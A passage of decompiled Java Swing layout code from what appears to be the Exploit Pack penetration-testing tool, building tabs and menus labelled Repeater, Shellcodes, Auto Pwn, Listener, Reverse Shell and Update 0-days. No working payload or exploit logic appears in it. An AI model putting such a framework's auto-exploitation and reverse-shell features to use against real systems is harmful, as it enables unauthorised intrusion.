    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.f, -2, -1, -2).addComponent(this.q).addComponent(this.w, -2, -1, -2).addComponent(this.r).addComponent(this.s).addComponent(this.y, -2, -1, -2)).addContainerGap(-1, 32767)));
    this.q.setBackground(Color.white);
    this.q.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Overview ( Header )"));
    this.n.setColumns(20);
    this.n.setLineWrap(true);
    this.n.setRows(5);
    this.i.setViewportView(this.n);
    groupLayout3 = new GroupLayout(this.q);
    this.q.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.i).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.i).addContainerGap()));
    this.b.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/buglittle.png")));
    this.b.setText("Generate");
    this.b.addActionListener((ActionListener)new dp(this));
    this.s.setBackground(Color.white);
    this.s.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Custom finding: 2"));
    this.g.setModel(new DefaultComboBoxModel<>(new String[] { "Low", "Normal", "Higher", "Critical" }));
    this.w.setText("Name:");
    this.x.setText("vulnerability name..");
    this.x.setText("Risk level:");
    this.B.setText("Description:");
    this.z.setText("The ftp server is prone to a heap based overflow by abusing of CVE: 123");
    groupLayout3 = new GroupLayout(this.s);
    this.s.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.w).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.x, -2, 235, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.x).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.g, -2, 84, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.B).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.z, -2, 1, 32767).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.g, -2, -1, -2).addComponent(this.w).addComponent(this.x, -2, -1, -2).addComponent(this.x).addComponent(this.B).addComponent(this.z, -2, -1, -2)).addContainerGap(-1, 32767)));
    this.t.setText("DISCLAIMER: The data exposed in Exploit Pack is confidential and intended solely for the use of the individual or entity to whom they are addressed.");
    groupLayout3 = new GroupLayout(this.I);
    this.I.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.e, -1, -1, 32767).addGroup(groupLayout3.createSequentialGroup().addComponent(this.q, -1, -1, 32767).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.k, -2, -1, -2)).addComponent(this.g, -1, -1, 32767).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.t).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED, -1, 32767).addComponent(this.b)).addComponent(this.s, -1, -1, 32767)).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGap(14, 14, 14).addComponent(this.e, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.k, -1, -1, 32767).addComponent(this.q, -1, -1, 32767)).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.g, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.s, -2, -1, -2).addGap(10, 10, 10).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.b).addComponent(this.t))));
    groupLayout3 = new GroupLayout(this.G);
    this.G.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.I, -1, -1, 32767));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addComponent(this.I, -1, -1, 32767).addContainerGap()));
    this.a.addTab("Report Wizard", this.G);
    this.H.setBackground(Color.white);
    this.a.setText("Attack");
    this.a.setEnabled(false);
    this.a.addActionListener((ActionListener)new dq(this));
    this.q.setBackground(Color.black);
    this.q.setColumns(20);
    this.q.setForeground(Color.green);
    this.q.setRows(5);
    this.e.setViewportView(this.q);
    this.k.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/target.png")));
    this.k.setText("Hostname or IP Address:");
    this.P.setText("http://www.exploitpack.com");
    this.l.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/binary.png")));
    this.l.setText("Packet data:");
    this.N.setText("1234567890asdfghjkl");
    this.m.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/port.png")));
    this.m.setText("Port:");
    this.O.setText("80");
    this.j.setText("Random data");
    this.j.addActionListener((ActionListener)new dr(this));
    groupLayout3 = new GroupLayout(this.H);
    this.H.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addComponent(this.k).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.P, -2, 237, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.m).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.O, -2, 50, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED, -1, 32767).addComponent(this.l).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.N, -2, 182, -2).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.j).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.a).addGap(12, 12, 12)).addGroup(groupLayout3.createSequentialGroup().addComponent(this.e).addGap(10, 10, 10)))));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.a).addComponent(this.k).addComponent(this.P, -2, -1, -2).addComponent(this.l).addComponent(this.N, -2, -1, -2).addComponent(this.m).addComponent(this.O, -2, -1, -2).addComponent(this.j)).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.e, -1, 730, 32767).addContainerGap()));
    this.a.addTab("Repeater", this.H);
    this.D.setBackground(Color.white);
    this.p.setBackground(Color.black);
    this.p.setColumns(20);
    this.p.setFont(new Font("Monospaced", 0, 12));
    this.p.setForeground(Color.green);
    this.p.setRows(5);
    this.p.setText("This is a quick cheat sheet that contains the most useful shellcodes to start coding and debugging your new exploit.\nYou can always submit your own by sending it to submit@exploitpack.com with subject: shellcodes.");
    this.q.setViewportView(this.p);
    groupLayout3 = new GroupLayout(this.D);
    this.D.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.q, -1, 1038, 32767).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.q, -1, 779, 32767));
    this.a.addTab("Shellcodes", this.D);
    this.t.setBackground(Color.white);
    this.u.setBackground(Color.white);
    this.v.setBackground(Color.white);
    this.v.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Encoder / Decoder"));
    this.C.setText("Message:");
    this.A.addMouseListener((MouseListener)new ds(this));
    this.A.addActionListener((ActionListener)new dt(this));
    this.B.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_icon-116-lock-open_314389.png")));
    this.B.setText("Decode");
    this.B.setEnabled(false);
    this.B.addActionListener((ActionListener)new du(this));
    this.D.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_icon-114-lock_314692.png")));
    this.D.setText("Encode");
    this.D.setEnabled(false);
    this.D.addActionListener((ActionListener)new dv(this));
    groupLayout3 = new GroupLayout(this.v);
    this.v.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGap(8, 8, 8).addComponent(this.C).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.A, -1, 741, 32767).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.B).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.D).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.C).addComponent(this.A, -2, -1, -2)).addGap(0, 0, 32767)).addGroup(groupLayout3.createSequentialGroup().addGap(2, 2, 2).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.D, -1, -1, 32767).addComponent(this.B, -1, -1, 32767)))).addContainerGap()));
    this.y.setBackground(Color.white);
    this.y.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Overview ( Header )"));
    this.j.setBackground(new Color(1, 1, 1));
    this.j.setColumns(20);
    this.j.setFont(new Font("Monospaced", 0, 12));
    this.j.setForeground(Color.green);
    this.j.setLineWrap(true);
    this.j.setRows(5);
    this.j.setText("Now supporting the following encoders/decoders: ATOM-128, Base64, Megan-35, Tripo-5, GILA-7, Hazz-15, TIGO-3FX, Feron-74, Zong-22, ROT-13, Morse, Caesar10, Bin2Ascii, Encool, Reverse, Arabica, ESAB-46, Hex2ASCII.");
    this.k.setViewportView(this.j);
    groupLayout3 = new GroupLayout(this.y);
    this.y.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.k).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.k, -1, 651, 32767).addContainerGap()));
    groupLayout3 = new GroupLayout(this.u);
    this.u.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.TRAILING).addComponent(this.y, GroupLayout.Alignment.LEADING, -1, -1, 32767).addComponent(this.v, -1, -1, 32767)).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGap(14, 14, 14).addComponent(this.v, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.y, -1, -1, 32767)));
    groupLayout3 = new GroupLayout(this.t);
    this.t.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.u, -1, -1, 32767));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addComponent(this.u, -1, -1, 32767).addContainerGap()));
    this.a.addTab("Decoder", this.t);
    this.w.setBackground(Color.white);
    this.x.setBackground(Color.white);
    this.B.setBackground(Color.white);
    this.B.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "UTF-Locator"));
    this.H.setText("Message to include:");
    this.T.addMouseListener((MouseListener)new dw(this));
    this.T.addActionListener((ActionListener)new dy(this));
    this.I.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/menucode.png")));
    this.I.setText("Create UTF");
    this.I.setEnabled(false);
    this.I.addActionListener((ActionListener)new dz(this));
    this.J.setText("Amount to create:");
    this.U.setText("10000");
    groupLayout3 = new GroupLayout(this.B);
    this.B.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGap(8, 8, 8).addComponent(this.H, -2, 119, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.T, -1, 449, 32767).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.J).addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED).addComponent(this.U, -2, 188, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.I, -2, 124, -2).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.H).addComponent(this.T, -2, -1, -2).addComponent(this.J)).addGap(0, 0, 32767)).addGroup(groupLayout3.createSequentialGroup().addGap(2, 2, 2).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.I, -1, -1, 32767).addComponent(this.U, -2, -1, -2)))).addContainerGap()));
    this.C.setBackground(Color.white);
    this.C.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Overview ( Header )"));
    this.r.setBackground(new Color(1, 1, 1));
    this.r.setColumns(20);
    this.r.setFont(new Font("Monospaced", 0, 12));
    this.r.setForeground(Color.green);
    this.r.setLineWrap(true);
    this.r.setRows(5);
    this.r.setText("Create an UTF locator for debugging common UTF-8 character encoding problems, click on create and copy/paste the locator to your target.\n");
    this.l.setViewportView(this.r);
    groupLayout3 = new GroupLayout(this.C);
    this.C.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.l).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addContainerGap().addComponent(this.l, -1, 670, 32767).addContainerGap()));
    groupLayout3 = new GroupLayout(this.x);
    this.x.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.TRAILING).addComponent(this.C, GroupLayout.Alignment.LEADING, -1, -1, 32767).addComponent(this.B, -1, -1, 32767)).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addGap(14, 14, 14).addComponent(this.B, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.C, -1, -1, 32767)));
    groupLayout3 = new GroupLayout(this.w);
    this.w.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.x, -1, -1, 32767));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addComponent(this.x, -1, -1, 32767).addContainerGap()));
    this.a.addTab("UTF-Locator", this.w);
    this.d.setBackground(Color.black);
    this.d.setColumns(20);
    this.d.setFont(new Font("Monospaced", 0, 12));
    this.d.setForeground(Color.green);
    this.d.setRows(5);
    this.d.setText("[10:19:14] Application started\n");
    this.m.setViewportView(this.d);
    groupLayout3 = new GroupLayout(this.h);
    this.h.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.m, -1, 548, 32767));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.m, GroupLayout.Alignment.TRAILING, -1, 105, 32767));
    this.b.addTab("Quick Information", this.h);
    this.h.setBackground(Color.black);
    this.h.setColumns(20);
    this.h.setFont(new Font("Monospaced", 0, 12));
    this.h.setForeground(Color.green);
    this.h.setRows(5);
    this.c.setViewportView(this.h);
    groupLayout3 = new GroupLayout(this.m);
    this.m.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.c, -1, 548, 32767));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.c, -1, 105, 32767));
    this.b.addTab("Application Log", this.m);
    this.i.setBackground(Color.blue);
    this.i.setColumns(20);
    this.i.setFont(new Font("Monospaced", 0, 12));
    this.i.setForeground(Color.white);
    this.i.setRows(5);
    this.i.setText("Debugging and Exceptions. For testing purpouses.");
    this.d.setViewportView(this.i);
    groupLayout3 = new GroupLayout(this.n);
    this.n.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.d, -1, 548, 32767));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.d, -1, 105, 32767));
    this.b.addTab("Debug ( for developers )", this.n);
    this.E.setBackground(Color.white);
    this.i.setText("Module status:");
    this.Q.setFont(new Font("Lucida Grande", 1, 13));
    this.Q.setText("Licensed to: - [Juan Sacco]");
    groupLayout3 = new GroupLayout(this.E);
    this.E.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addComponent(this.Q).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED, -1, 32767).addComponent(this.i).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.b, -2, 114, -2).addGap(0, 0, 0)));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addContainerGap(-1, 32767).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.TRAILING).addComponent(this.b, -2, -1, -2).addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.BASELINE).addComponent(this.i).addComponent(this.Q)))));
    this.Q.getAccessibleContext().setAccessibleName("");
    this.o.setBackground(Color.white);
    this.o.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Network Scanner", 0, 2));
    DefaultMutableTreeNode defaultMutableTreeNode2 = new DefaultMutableTreeNode("JTree");
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("Nmap - Built-in");
    defaultMutableTreeNode2.add(defaultMutableTreeNode5);
    this.e.setModel(new DefaultTreeModel(defaultMutableTreeNode2));
    this.e.setRootVisible(false);
    this.n.setViewportView(this.e);
    GroupLayout groupLayout2 = new GroupLayout(this.o);
    this.o.setLayout(groupLayout2);
    groupLayout2.setHorizontalGroup(groupLayout2.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout2.createSequentialGroup().addContainerGap().addComponent(this.n, -1, 216, 32767).addContainerGap()));
    groupLayout2.setVerticalGroup(groupLayout2.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout2.createSequentialGroup().addContainerGap().addComponent(this.n, -1, 144, 32767).addContainerGap()));
    this.p.setBackground(Color.white);
    this.p.setBorder(BorderFactory.createTitledBorder(new LineBorder(new Color(0, 0, 0), 1, true), "Modules Executed", 0, 2));
    DefaultMutableTreeNode defaultMutableTreeNode1 = new DefaultMutableTreeNode("JTree");
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("Module status");
    defaultMutableTreeNode1.add(defaultMutableTreeNode5);
    this.c.setModel(new DefaultTreeModel(defaultMutableTreeNode1));
    this.c.setRootVisible(false);
    this.o.setViewportView(this.c);
    GroupLayout groupLayout1 = new GroupLayout(this.p);
    this.p.setLayout(groupLayout1);
    groupLayout1.setHorizontalGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout1.createSequentialGroup().addContainerGap().addComponent(this.o, -1, 204, 32767).addContainerGap()));
    groupLayout1.setVerticalGroup(groupLayout1.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout1.createSequentialGroup().addContainerGap().addComponent(this.o, -1, 146, 32767).addContainerGap()));
    this.M.setBackground(Color.black);
    this.M.setForeground(Color.white);
    this.M.setText("Execute Module");
    this.M.setMaximumSize(new Dimension(140, 29));
    this.M.setMinimumSize(new Dimension(140, 29));
    this.M.addActionListener((ActionListener)new dA(this));
    this.a.setText("File");
    this.l.setAccelerator(KeyStroke.getKeyStroke(78, 2));
    this.l.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/new.png")));
    this.l.setText("New project");
    this.l.addActionListener((ActionListener)new dB(this));
    this.a.add((JMenuItem)this.l);
    this.w.setAccelerator(KeyStroke.getKeyStroke(79, 2));
    this.w.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/open.png")));
    this.w.setText("Open project");
    this.w.addActionListener((ActionListener)new dC(this));
    this.a.add((JMenuItem)this.w);
    this.a.add(this.c);
    this.Q.setAccelerator(KeyStroke.getKeyStroke(77, 2));
    this.Q.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/scriptnormal.png")));
    this.Q.setText("New module");
    this.Q.addActionListener((ActionListener)new dD(this));
    this.a.add((JMenuItem)this.Q);
    this.Y.setAccelerator(KeyStroke.getKeyStroke(73, 2));
    this.Y.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/scriptnormal.png")));
    this.Y.setText("Import modules");
    this.Y.addActionListener((ActionListener)new dE(this));
    this.a.add(this.Y);
    this.a.add(this.v);
    this.au.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_3floppy_unmount_18268.png")));
    this.au.setText("Backup exploits");
    this.au.addActionListener((ActionListener)new dF(this));
    this.a.add(this.au);
    this.a.add(this.z);
    this.ax.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_039_014_skull_pirate_roger_halloween_3792007 (1).png")));
    this.ax.setText("Update 0-days");
    this.ax.addActionListener((ActionListener)new dG(this));
    this.a.add(this.ax);
    this.a.add(this.m);
    this.ad.setAccelerator(KeyStroke.getKeyStroke(82, 3));
    this.ad.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/bugbug.png")));
    this.ad.setText("New shell");
    this.ad.addActionListener((ActionListener)new dH(this));
    this.a.add(this.ad);
    this.a.add(this.a);
    this.S.setAccelerator(KeyStroke.getKeyStroke(83, 2));
    this.S.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134049_table_save.png")));
    this.S.setText("Save project");
    this.a.add((JMenuItem)this.S);
    this.H.setAccelerator(KeyStroke.getKeyStroke(67, 2));
    this.H.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/close.gif")));
    this.H.setText("Close project");
    this.a.add((JMenuItem)this.H);
    this.a.add(this.b);
    this.a.setAccelerator(KeyStroke.getKeyStroke(69, 3));
    this.a.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/stop.png")));
    this.a.setText("Exit");
    this.a.addActionListener((ActionListener)new dJ(this));
    this.a.add((JMenuItem)this.a);
    this.a.add((JMenu)this.a);
    this.i.setText("Targets");
    this.ah.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/refresh.png")));
    this.ah.setText("Refresh list");
    this.ah.addActionListener((ActionListener)new dK(this));
    this.i.add(this.ah);
    this.N.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/computer.png")));
    this.N.setText("Add targets");
    this.N.addActionListener((ActionListener)new dL(this));
    this.i.add((JMenuItem)this.N);
    this.a.add((JMenu)this.i);
    this.k.setText("Edit");
    this.ao.setAction(new DefaultEditorKit.CutAction());
    this.ao.setAccelerator(KeyStroke.getKeyStroke(88, 2));
    this.ao.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134425_cut_red.png")));
    this.ao.setText("Cut");
    this.k.add(this.ao);
    this.ay.setAction(new DefaultEditorKit.CopyAction());
    this.ay.setAccelerator(KeyStroke.getKeyStroke(86, 2));
    this.ay.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134439_page_copy.png")));
    this.ay.setText("Copy");
    this.ay.addActionListener((ActionListener)new dM(this));
    this.k.add(this.ay);
    this.az.setAction(new DefaultEditorKit.PasteAction());
    this.az.setAccelerator(KeyStroke.getKeyStroke(80, 2));
    this.az.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134460_page_white_paste.png")));
    this.az.setText("Paste");
    this.k.add(this.az);
    this.k.add(this.E);
    this.D.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/exploitpreferences.png")));
    this.D.setText("Preferences");
    this.D.addActionListener((ActionListener)new dN(this));
    this.k.add((JMenuItem)this.D);
    this.a.add((JMenu)this.k);
    this.l.setText("Modules");
    this.b.setAccelerator(KeyStroke.getKeyStroke(77, 9));
    this.b.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316133906_package.png")));
    this.b.setText("Show modules");
    this.b.addActionListener((ActionListener)new dO(this));
    this.l.add((JMenuItem)this.b);
    this.l.add(this.u);
    this.d.setAccelerator(KeyStroke.getKeyStroke(82, 8));
    this.d.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/updatemanager.png")));
    this.d.setText("Refresh modules");
    this.d.addActionListener((ActionListener)new dP(this));
    this.l.add((JMenuItem)this.d);
    this.ag.setAccelerator(KeyStroke.getKeyStroke(82, 8));
    this.ag.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/updatemanager.png")));
    this.ag.setText("Refresh targets");
    this.ag.addActionListener((ActionListener)new dQ(this));
    this.l.add(this.ag);
    this.a.add((JMenu)this.l);
    this.m.setText("Tools");
    this.P.setAccelerator(KeyStroke.getKeyStroke(84, 10));
    this.P.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/editor.png")));
    this.P.setText("Notepad");
    this.P.addActionListener((ActionListener)new dR(this));
    this.m.add((JMenuItem)this.P);
    this.c.setAccelerator(KeyStroke.getKeyStroke(84, 10));
    this.c.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/terminal.png")));
    this.c.setText("Console");
    this.c.addActionListener((ActionListener)new dS(this));
    this.m.add((JMenuItem)this.c);
    this.aw.setAccelerator(KeyStroke.getKeyStroke(83, 3));
    this.aw.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_b-98_4230280.png")));
    this.aw.setText("Shell one-liner");
    this.aw.addActionListener((ActionListener)new aQ(this));
    this.m.add(this.aw);
    this.O.setAccelerator(KeyStroke.getKeyStroke(84, 10));
    this.O.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/if_net_comp_42279.png")));
    this.O.setText("Listener");
    this.O.addActionListener((ActionListener)new aR(this));
    this.m.add((JMenuItem)this.O);
    this.m.add(this.e);
    this.e.setAccelerator(KeyStroke.getKeyStroke(77, 3));
    this.e.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/robotauto.png")));
    this.e.setText("Auto Pwn");
    this.e.addActionListener((ActionListener)new aS(this));
    this.m.add((JMenuItem)this.e);
    this.o.setAccelerator(KeyStroke.getKeyStroke(77, 3));
    this.o.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/binary.gif")));
    this.o.setText("Hex Editor");
    this.o.addActionListener((ActionListener)new aT(this));
    this.m.add((JMenuItem)this.o);
    this.m.add(this.d);
    this.ae.setAccelerator(KeyStroke.getKeyStroke(67, 3));
    this.ae.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/bugbug.png")));
    this.ae.setText("Reverse Shell");
    this.ae.addActionListener((ActionListener)new aU(this));
    this.m.add(this.ae);
    this.as.setAccelerator(KeyStroke.getKeyStroke(71, 1));
    this.as.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/iconfinder_bug__virus__insect__ladybug_2542079.png")));
